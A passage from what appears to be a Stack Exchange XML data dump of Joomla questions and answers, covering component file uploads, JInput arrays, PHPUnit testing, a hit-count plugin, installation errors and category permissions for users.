  $file = $app-&amp;gt;files-&amp;gt;get('file_upload');&#xA;    $filename = JFile::makeSafe($file['name']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've been echoing(debugging) the &lt;code&gt;$filename&lt;/code&gt; and the &lt;code&gt;$file&lt;/code&gt; variables, but no value is being echoed. When I echo something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;',print_r($file,1),'&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;nothing is echoed. I assume that this means that the file to-be uploaded by this function is not being passed from the view to the controller?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I also imported JInput explicitly (I saw mixed things on this in my searches saying that it isn't necessary, but wouldn't hurt). My original controller extended JController, I tried changing this to JControllerForm and changed the import dependency accordingly and still nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update #2:&lt;/strong&gt; When I do a &lt;code&gt;var_dump&lt;/code&gt; on &lt;code&gt;$_POST&lt;/code&gt; I can see the form data, but when I do a &lt;code&gt;var_dump&lt;/code&gt; on &lt;code&gt;$_FILES&lt;/code&gt; it shows an empty array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update #3:&lt;/strong&gt; The size of the image I am trying to upload, as a test, is 345 bytes(super small).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update #4:&lt;/strong&gt; I duplicated the form (removed the Joomla specific fields) in a separate stand-alone PHP file that linked to a PHP endpoint that did a &lt;code&gt;var_dump($_FILES)&lt;/code&gt; and it displayed the upload data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update #5:&lt;/strong&gt; Not sure if it matters, but the HTML form resides in the &quot;default_body&quot; section of the admin page.&lt;/p&gt;&#xA;" OwnerUserId="1707" LastEditorUserId="12352" LastEditDate="2018-04-06T15:33:16.333" LastActivityDate="2018-04-06T15:33:16.333" Title="Custom Component - JInput Isn't Getting the Form Input" Tags="|component|fix-my-code|jinput|file-upload|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="4546" PostTypeId="2" ParentId="2451" CreationDate="2014-09-23T08:01:05.590" Score="0" Body="&lt;p&gt;Don't use mootools. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's already slated for removal in Joomla's roadmap, jQuery being the preferred core option and Bootstrap have made quite clear that Bootstrap is not intended to be run alongside other other javascript libraries.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-09-23T08:01:05.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4547" PostTypeId="2" ParentId="4534" CreationDate="2014-09-23T10:05:07.250" Score="3" Body="&lt;p&gt;Because only InnoDB storage engine permits foreign key definitions and Joomla can be installed on servers which only support MyISAM tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for a public component, it's better to avoid foreign keys in table structures.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-09-23T10:21:19.427" LastActivityDate="2014-09-23T10:21:19.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4548" PostTypeId="2" ParentId="4537" CreationDate="2014-09-23T12:06:26.403" Score="4" Body="&lt;p&gt;You can create a plugin like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgContentReduceHits extends JPlugin&#xA;{&#xA;    public function onContentAfterDisplay($context, &amp;amp;$article, &amp;amp;$params, $limitstart)&#xA;    {&#xA;        if ($context == 'com_content.article' &amp;amp;&amp;amp; JFactory::getUser()-&amp;gt;id == $article-&amp;gt;created_by &amp;amp;&amp;amp; $params-&amp;gt;get('intro_only'))&#xA;        {&#xA;            $db = JFactory::getDbo();&#xA;            $db-&amp;gt;setQuery('UPDATE #__content SET hits = hits - 1 WHERE id = ' . $article-&amp;gt;id);&#xA;            $db-&amp;gt;execute();&#xA;        }&#xA;        return '';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above plugin works. It is obvious that you must be logged into your site and the plugin should be enabled.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-09-24T08:15:44.307" LastActivityDate="2014-09-24T08:15:44.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4551" PostTypeId="1" CreationDate="2014-09-23T14:06:38.703" Score="3" ViewCount="1890" Body="&lt;p&gt;I have the standard breadcrumb module loaded on my site but the links it is generating is displaying a duplicate of the categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example an article I have called overview is attached to the category Africa which in turn is attached to the category destinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used Simple Custom Router to generate a user friendly URL for the page which is home/destinations/africa/overview. This URL correctly loads the article. However the breadcrumbs shows up as: home\destinations\africa\destinations\africa\overview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have researched and found that particularly in Joomla 1.7 this was an issue. However, I am using Joomla 3.3 and cannot find any 'solution' that can help me.&lt;/p&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2019-04-11T15:43:47.763" Title="How can I stop the breadcrumb module from duplicating categories" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4552" PostTypeId="1" AcceptedAnswerId="4553" CreationDate="2014-09-23T15:34:12.163" Score="6" ViewCount="1141" Body="&lt;p&gt;I need to do some work locally on a Joomla 1 5.26 site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Local setup Win7, Xampp, Apache 2.4.3, PHP 5.4.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have numerous local Joomla 2.x and 3.x website that work fine however when installing a new Joomla 1.5.26 website I encounter the following error message at step 2;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An error has occurred.:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Cookies do not appear to be enabled on your browser client. You will&#xA;  not be able to install the application with this feature disabled.&#xA;  Alternatively, there could also be a problem with the server's&#xA;  session.save_path. If this is the case, please consult your hosting&#xA;  provider if you don't know how to check or fix this yourself.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As well as many lines of &lt;strong&gt;Strict Standards&lt;/strong&gt;: Non-static method warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read that this could be dues to the php.ini file not containing the correct session.save_path - but the php.ini file is set globally and works with my other local sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it's not a browser cache issues as I have tried numerous browsers and devices.&#xA;Permissions also seem to be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not a huge issues as it's for dev only however I'd like to get to the bottom of the issue if possible.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="159" LastEditDate="2014-09-24T13:58:26.890" LastActivityDate="2014-09-24T14:06:41.830" Title="New Install session.save_path Error" Tags="|php|installation|joomla-1.5|localhost|xampp|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4553" PostTypeId="2" ParentId="4552" CreationDate="2014-09-23T15:47:33.930" Score="3" Body="&lt;p&gt;Joomla 1.5 was not developed for thes like of newer PHP versions such as &lt;strong&gt;5.4&lt;/strong&gt; as mentioned in your question. Newer versions of PHP may have deprecated or even removed/replaced functions which Joomla 1.5 may require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest installing PHP &lt;strong&gt;5.3.x&lt;/strong&gt; on your Xampp installation, then try running the installation again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I would use &lt;a href=&quot;http://wampserver.com/en&quot; rel=&quot;nofollow&quot;&gt;Wampserver&lt;/a&gt; instead. Switching between PHP and even MySQL versions is extremely easy (1 click). I don't even think Xampp allows you to do this, however I could be wrong&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-09-24T07:03:40.300" LastActivityDate="2014-09-24T07:03:40.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4555" PostTypeId="2" ParentId="4545" CreationDate="2014-09-23T19:27:32.757" Score="2" Body="&lt;p&gt;A couple of things.  First, verify this is a bug by using the deprecated but still working JRequest to get the file data.  I've had to resort to using this method myself recently for a file upload need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file = JRequest::getVar('file_upload', null, 'files', 'array'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work still, simply try dumping the $_FILES['file_upload'] request variable to confirm the file is being sent.  My thought is using JRequest will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, you should attach the upload method to the specific controller for the view.  Although you should and can reach a public method in your primary entry point, you should create and attach to a controller which will utilize the model/view.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, once the task is migrated to the proper controller, no need to retrieve a JInput object as its already part of the parent class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For arguments sake, lets say the view is Files, the controller look like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NewsShowcaseControllerFiles extends JControllerLegacy {&#xA;&#xA;    public function upload() {&#xA;        jimport('joomla.filesystem.file');&#xA;        jimport('joomla.filesystem.folder');&#xA;        // Check for request forgeries&#xA;        JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));&#xA;&#xA;        // Notice in the controllers context, no need to instansiate Application Object&#xA;        $file = $this-&amp;gt;input-&amp;gt;files-&amp;gt;get('file_upload');&#xA;        $filename = JFile::makeSafe($file['name']);&#xA;&#xA;        // logic to save file or dump data to verify success&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the primary controller entry point located in the components site/admin root add the following line to your display method to register your task:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;registerTask('files.upload', 'upload');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Last, you must alter the endpoint URL for the form or AJAX request handling the form submission:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_('index.php?option=com_newsshowcase&amp;amp;task=files.upload');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="1906" LastEditDate="2014-09-23T20:26:41.530" LastActivityDate="2014-09-23T20:26:41.530" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="4556" PostTypeId="1" AcceptedAnswerId="12219" CreationDate="2014-09-24T01:44:15.317" Score="12" ViewCount="1145" Body="&lt;p&gt;I've asked this question on &lt;a href=&quot;https://stackoverflow.com/questions/25967640/how-to-unit-test-a-joomla-2-5-component&quot;&gt;StackOverflow&lt;/a&gt;, and it was suggested that I ask it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm familiar with unit/system/integration testing, and would like to be able to test my Joomla component. Is there a standard way of doing this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working through &lt;a href=&quot;http://docs.joomla.org/J2.5:Developing_a_MVC_Component/Introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;this joomla mvc component example&lt;/a&gt;, which doesn't include tests. All I can find in the Joomla documentation and on various websites  is fragments of test code &amp;amp; bootstrap.php files. Specifically what I would like to know is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Where to put component test code&lt;/li&gt;&#xA;&lt;li&gt;Do I need to provide my own bootstrap.php, or is there some way to just 'include joomla' and run my tests&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ideally someone could direct me to an open source Joomla component that has tests &amp;amp; instructions on how to run them (had a quick look, first 5 or so didn't have tests).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I've found is &lt;a href=&quot;http://www.aldoapp.com/tutorials/10-how-to-do-test-driven-develoment-for-joomla-components.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;, which I've based my dummy test on.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I've done so far&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Component directory structure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;helloworld/&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;admin/&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;tests/&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bootstrap.php&lt;/li&gt;&#xA;&lt;li&gt;phpunit.xml&lt;/li&gt;&#xA;&lt;li&gt;modelHelloWorldsTest.php&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;site/&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;helloworld.xml&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;First attempt&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To run the tests, I install/copy the component to my Joomla installation. I then run the following command from ~joomla/administration/components/com_helloworld/tests:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php phpunit-4.2.phar --bootstrap bootstrap.php .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from which I receive&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class 'ContentController' not found in C:\inetpub\wwwroot\ws_cairnstest\administrator\components\com_helloworld\tests\modelsHelloWorldsTest.php on line 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I gather this means my bootstrap.php isn't correct and hasn't loaded the necessary Joomla classes. I'll investigate this at some point, but this seems like a lot of setup just to get some tests to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bootstrap.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;error_reporting(E_ALL);&#xA;&#xA;define('_JEXEC', 1);&#xA;define('BASEPATH',realpath(dirname(__FILE__).'/../../'));&#xA;define('JOOMLA_PATH',realpath(dirname(__FILE__).'/../../../../../'));&#xA;define('JOOMLA_ADMIN_PATH',realpath(dirname(__FILE__).'/../../../../'));&#xA;$_SERVER['HTTP_HOST'] = 'localhost';&#xA;$_SERVER['REQUEST_METHOD'] = 'GET';&#xA;&#xA;if (file_exists(JOOMLA_ADMIN_PATH . '/defines.php'))&#xA;{&#xA;    include_once JOOMLA_ADMIN_PATH . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', JOOMLA_ADMIN_PATH);&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;require_once JPATH_BASE . '/includes/helper.php';&#xA;require_once JPATH_BASE . '/includes/toolbar.php';&#xA;define('JPATH_COMPONENT',JOOMLA_ADMIN_PATH.'/components/com_content');&#xA;$app = JFactory::getApplication('administrator');&#xA;include BASEPATH.'/controller.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;modelsHelloWorldsTest.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class HelloWorldsTest extends \PHPUnit_Framework_TestCase {&#xA;&#xA;    public function testList(){&#xA;        $c = new ContentController();&#xA;        $model = $c-&amp;gt;getModel('helloworlds');&#xA;        $worlds = $model-&amp;gt;getItems();&#xA;        var_dump($worlds);&#xA;        $this-&amp;gt;assertNotEmpty($worlds);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;phpunit.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;phpunit bootstrap=&quot;bootstrap.php&quot;&#xA;    colors=&quot;true&quot;&#xA;    convertErrorsToExceptions=&quot;true&quot;&#xA;    convertNoticesToExceptions=&quot;true&quot;&#xA;    convertWarningsToExceptions=&quot;true&quot;&#xA;    processIsolation=&quot;false&quot;&#xA;    stopOnFailure=&quot;false&quot;&#xA;    syntaxCheck=&quot;false&quot;&#xA;    verbose=&quot;true&quot;&amp;gt;&#xA;&amp;lt;/phpunit&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Second attempt&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;After seeing &lt;a href=&quot;https://joomla.stackexchange.com/questions/3675/testing-joomla-extensions/3679#3679&quot;&gt;this answer&lt;/a&gt;, I put my tests under test/unit under my joomla installation, copied phpunit.dist.xml and bootstrap.php from the joomla-cms repo to their appropriate locations, and still got the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class 'ContentController' not found in C:\inetpub\wwwroot\ws_cairnstest\administrator\components\com_helloworld\tests\modelsHelloWorldsTest.php on line 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;error I was receiving before.&lt;/p&gt;&#xA;" OwnerUserId="1940" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-08-18T20:07:37.407" Title="How to test a Joomla 2.5 component" Tags="|component|joomla-2.5|cms-testing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4557" PostTypeId="1" AcceptedAnswerId="4558" CreationDate="2014-09-24T06:02:25.593" Score="7" ViewCount="595" Body="&lt;p&gt;I've been researching different ways to get an array using JInput. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt; there are 2 methods that I can use.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Method1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$jinput-&amp;gt;get('nameOfArray',array(),'ARRAY');&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Method2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$jinput-&amp;gt;getArray('nameOfArray',array());&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;code&gt;nameOfArray&lt;/code&gt; is the name of the array I want to access in the $_GET superglobal array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method1 works, but Method2 gives the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Catchable fatal error:  Argument 1 passed to JInput::getArray() must be of the type array, string given, called in test.php &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My question is: &lt;strong&gt;What’s the difference between these two methods?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The array used in both examples is the same&lt;/li&gt;&#xA;&lt;li&gt;I'm using Joomla 2.5.x&lt;/li&gt;&#xA;&lt;li&gt;The array is a multidimensional array.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastEditorUserId="12352" LastEditDate="2019-10-02T21:00:24.147" LastActivityDate="2019-10-02T21:00:24.147" Title="How to access an array in $_GET using JInput?" Tags="|joomla-2.5|jinput|array|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4558" PostTypeId="2" ParentId="4557" CreationDate="2014-09-24T06:21:21.533" Score="5" Body="&lt;p&gt;The first method looks for elements that start with the name that you have specified:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;nameOfArray[test][1]&quot; value=&quot;test&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;nameOfArray[]&quot; value=&quot;test&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;nameOfArray[test][]&quot; value=&quot;test&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;nameOfArray[tester][yes]&quot; value=&quot;test&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the above would be returned as part of an array in method one.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Method two does not attempt to load an array by name, instead it accepts an array and tries to find input elements to match the keys. Take the following input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;object1&quot; value=&quot;test1&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;name2&quot; value=&quot;test2&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;element3&quot; value=&quot;test3&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you then did the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$elements = array('object1'=&amp;gt;'', 'name2'=&amp;gt;'', 'element3'=&amp;gt;'');&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$jinput-&amp;gt;getArray($elements); // note that the second parameter is &quot;datasource&quot; not default value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would then get an array as such in &lt;code&gt;$element&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array('object1'=&amp;gt;'test1', 'name2'=&amp;gt;'test2', 'element3'=&amp;gt;'test3');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-09-24T08:13:12.700" LastActivityDate="2014-09-24T08:13:12.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4560" PostTypeId="2" ParentId="4552" CreationDate="2014-09-24T14:06:41.830" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This is just an addition to the excellent answer from @Lodder. This is slightly offtopic but offers another approach to avoid this kind of issues.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nowadays one of the preferred (call it popular) approaches to development is running virtual machines on your PC that mirror as much as possible the configuration of the production server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you mentioned using Windows 7. Probably you are running your live web site on a Linux machine. So it would make a lot of sense to already pre-test your website / development. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such solutions include Vagrant with Virtualbox. &lt;a href=&quot;https://puphpet.com/&quot; rel=&quot;nofollow&quot;&gt;PuPHPet&lt;/a&gt; allows you to configure a virtual machine with what you need. &lt;a href=&quot;http://developer.joomlatools.com/tools/vagrant/introduction.html&quot; rel=&quot;nofollow&quot;&gt;Joomlatools&lt;/a&gt; also offer a nice solution for Joomla websites.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-24T14:06:41.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4561" PostTypeId="2" ParentId="4493" CreationDate="2014-09-24T14:24:32.970" Score="0" Body="&lt;p&gt;I would use &lt;a href=&quot;http://component-creator.com/&quot; rel=&quot;nofollow&quot;&gt;http://component-creator.com/&lt;/a&gt;, ACL for front-end views is built in on all generated components.&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2014-09-24T14:24:32.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4562" PostTypeId="2" ParentId="4556" CreationDate="2014-09-24T15:13:22.963" Score="6" Body="&lt;p&gt;Sorry if my answer does not directly addresses your issue, but it is important to understand what unit testing is and how to use it, no matter if we are talking about Joomla or not. You have addressed a lot of issues and it's rather hard to deal with all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First of all it is important to read the documentation&lt;/strong&gt; at &lt;a href=&quot;https://phpunit.de/getting-started.html&quot;&gt;PHPUnit&lt;/a&gt;. Build yourself a small class (independently of Joomla) and try to write some tests for it. Get PHPUnit first running in a such scenario. Understand what it does. I am afraid you are focusing too much on getting PHPUnit to run instead of understanding how it helps your development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To get Joomla to run&lt;/strong&gt;, you will need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bootstrap.php - which will give you an instance of Joomla.&lt;/li&gt;&#xA;&lt;li&gt;phpunit.xml - fine tuning PHPUnit settings. Useful for example of specifying once for a whole project where are the test folders in each component. So that you can run a suite of tests.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The error that you are getting is as clear as possible. 'ContentController' is clearly not autoloaded by Joomla. Check with a debugger if the autoloader in Joomla is called and why it fails to load the class. Worst case scenario provide your own autoloader and use the bootstrap file to call it. A quick fix is also manually loading the required file with require_once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Decide what you want to test and use mockups&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example provided you are using JModel to fetch data from the database. This is a no-go from the TDD point of view. Testing that you can fetch data from the database has no value IMHO. What exactly are you testing there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to work with data from the database, use mocks to model a response from the database. This way your tests will have a consistent behavior over time. You don't want to have failed tests just because you changed something in the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a method that computes somethings or anything else that have sense to test. This is unit testing: you take a small unit from your complex system, feed it with fake test data and test it's behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need to see that your system works as a whole, use system tests.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-09-24T16:34:58.770" LastActivityDate="2014-09-24T16:34:58.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4563" PostTypeId="1" CreationDate="2014-09-24T17:12:48.500" Score="6" ViewCount="6959" Body="&lt;p&gt;In my custom component, I need to enter date and time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla's standard calendar-element supports a date picker - but no time picker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me and point me to an alternative date and time picker?&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="1629" LastEditDate="2014-09-27T14:01:40.943" LastActivityDate="2018-12-01T18:39:05.123" Title="Date/time picker in component" Tags="|component|development|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4564" PostTypeId="1" CreationDate="2014-09-24T18:36:47.240" Score="2" ViewCount="1408" Body="&lt;p&gt;Relatively new to Joomla here.  I have a site that has several &quot;sections&quot; - each section is a main menu item, and all the articles in each section are in a category for that section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have groups set up for each of the categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without granting a user access to /administrator, is there a way they can fully manage the articles in a category?  Or is there a way to give a user access to /administrator but lock down what they can do there?&lt;/p&gt;&#xA;" OwnerUserId="1945" LastActivityDate="2015-04-10T14:28:32.023" Title="Security: Give users full access to manage all articles in a category" Tags="|security|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4565" PostTypeId="2" ParentId="4564" CreationDate="2014-09-24T19:41:52.270" Score="1" Body="&lt;p&gt;You can give users the ability to edit certain categories only by assigning them to new user groups, and then allowing each group access to manage the articles. Access to the administrator area will not be needed if you create a front-end edit menu.&lt;/p&gt;&#xA;&lt;p&gt;Here's how to do it (works on Joomla 2.5 and 3, not sure about 1.5):&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1. Create new user groups&lt;/strong&gt;&lt;br /&gt;&#xA;Log in to your admin area, and go to &lt;strong&gt;Users&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Groups&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Add new group&lt;/strong&gt;. Give the group a name and set &lt;code&gt;Group Parent&lt;/code&gt; to &lt;strong&gt;Registered&lt;/strong&gt; (because registered users don't have any editing permissions to start with. Later we'll give them authorization to edit certain category).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C8iuY.jpg&quot; alt=&quot;User groups&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Repeat this step for each category you want to give exclusive access to.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2. Assign user groups to categories&lt;/strong&gt;&lt;br /&gt;&#xA;Open the category manager (&lt;strong&gt;Content&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Category Manager&lt;/strong&gt;) and open the category you want to grant access 